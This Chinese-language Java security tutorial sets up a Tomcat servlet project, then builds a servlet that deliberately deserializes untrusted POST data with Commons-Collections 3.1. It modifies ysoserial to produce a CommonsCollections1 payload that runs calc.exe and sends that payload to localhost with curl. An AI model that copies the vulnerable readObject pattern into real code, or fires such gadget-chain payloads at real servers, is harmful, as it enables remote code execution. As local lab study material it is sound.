Java安全01-Idea和漏洞demo
字数 1565 2025-08-06 08:35:16
Java安全学习:Idea环境搭建与漏洞Demo实践
前置准备
基础知识要求
- 基本Java语法知识
- 理解方法、类、构造器、重载、继承、反射等概念
环境准备
-
开发工具:
- IntelliJ IDEA (支持Mac和Windows)
-
运行环境:
- Tomcat服务器
- JDK/JRE (建议准备多个版本,特别是低于18_271的版本用于漏洞复现)
基础环境配置
1. 创建Java Enterprise项目
- 在IDEA中选择"New Project" → "Java Enterprise"
- 选择Servlet作为初始依赖
- 配置项目信息:
- 项目名称
- Group ID (通常为公司/小组名称)
- Artifact (部署实例名)
2. 项目目录结构
创建完成后,项目目录应包含:
src/
main/
java/ - Java源代码
webapp/ - Web资源文件
WEB-INF/ - 配置文件目录
3. 创建简单JSP页面
- 在
webapp目录下创建index.jsp - 添加基本内容:
<body>hello world</body>
4. 配置Tomcat服务器
- 点击右上角"Edit Configurations"
- 添加"Tomcat Server" → "Local"
- 配置:
- Name: 自定义名称
- Application Server: 选择Tomcat安装目录
- 部署配置:
- 添加Artifact (选择war格式)
5. 运行测试
- 点击"Run"启动项目
- 访问
http://localhost:8080/[artifact_name]/ - 应能看到"hello world"输出
Servlet开发实践
1. 创建Servlet
- 在
src/main/java右键创建新的Servlet类 - 示例代码:
@WebServlet(name = "firstServlet")
public class firstServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
doGet(request, response); // 将POST请求交给doGet处理
}
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
PrintWriter out = response.getWriter();
out.write("Hello world from firstServlet");
out.close();
}
}
2. 配置web.xml
在WEB-INF/web.xml中添加:
<servlet>
<servlet-name>firstServlet</servlet-name>
<servlet-class>firstServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>firstServlet</servlet-name>
<url-pattern>/firstservlet</url-pattern>
</servlet-mapping>
3. 修改index.jsp添加链接
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
hello world!
<a href="firstservlet">Go to firstServlet</a>
</body>
</html>
反序列化漏洞Demo搭建
1. 环境要求
- JRE版本需低于18_271 (推荐使用18_66)
- 添加Commons-Collections 3.1依赖
2. 添加依赖
在pom.xml中添加:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
3. 创建漏洞Servlet
- 创建
demoservlet.java:
@WebServlet(name = "demoserver")
public class demoservlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
// 接受POST请求传输的流,并进行反序列化操作
ServletInputStream sis = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(sis);
try {
ois.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
ois.close();
}
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
PrintWriter out = response.getWriter();
out.write("Hello world from firstServlet");
out.close();
}
}
- 配置
web.xml:
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>demoserver</servlet-name>
<servlet-class>demoservlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>demoserver</servlet-name>
<url-pattern>/demoserver</url-pattern>
</servlet-mapping>
</web-app>
使用ysoserial生成Payload
1. 获取ysoserial
git clone https://github.com/frohoff/ysoserial.git
2. 在IDEA中打开ysoserial
- 选择"Open" → 选择
pom.xml→ "Open as Project" - 等待依赖下载完成
3. 修改代码生成Payload文件
在ysoserial.payloads.util.Serializer类中添加:
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
// 添加生成payload文件的代码
try {
FileOutputStream fout = new FileOutputStream("./payload.ser");
ObjectOutputStream ot = new ObjectOutputStream(fout);
ot.writeObject(obj);
ot.close();
fout.close();
} catch (FileNotFoundException FNFE) {
System.out.println("./payload.ser Not Found");
}
}
4. 生成Payload
- 运行
GeneratePayload类的main方法 - 参数:
CommonsCollections1 "calc.exe" - 将在当前目录生成
payload.ser文件
测试Payload
1. 启动Web应用
- 关闭ysoserial项目
- 打开之前的Web项目
- 启动Tomcat服务器
2. 使用curl发送Payload
curl -x http://127.0.0.1:8081 http://localhost:8080/demoserver_war_exploded//demoserver --data-binary @payload.ser
参数说明:
-x: 配置Burp的HTTP代理(8080被Tomcat占用时使用8081)--data-binary: 以POST方式发送二进制数据
3. 预期结果
成功执行calc.exe命令(弹出计算器)
动态调试
1. 设置断点
在LazyMap.get()方法中设置断点:
public Object get(Object key) {
if (map.containsKey(key) == false) {
// 在此处设置断点
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
2. 调试模式
- 将Tomcat切换为Debug模式
- 通过Burp重发请求
- 程序将在断点处暂停,可观察调用栈和变量值
总结
本教程详细介绍了:
- Java Web开发环境搭建
- 基本Servlet开发流程
- 反序列化漏洞环境配置
- ysoserial工具的使用和修改
- 漏洞利用测试方法
- 动态调试技巧
通过这个环境,可以继续研究其他Java安全漏洞,为后续的Java安全学习打下坚实基础。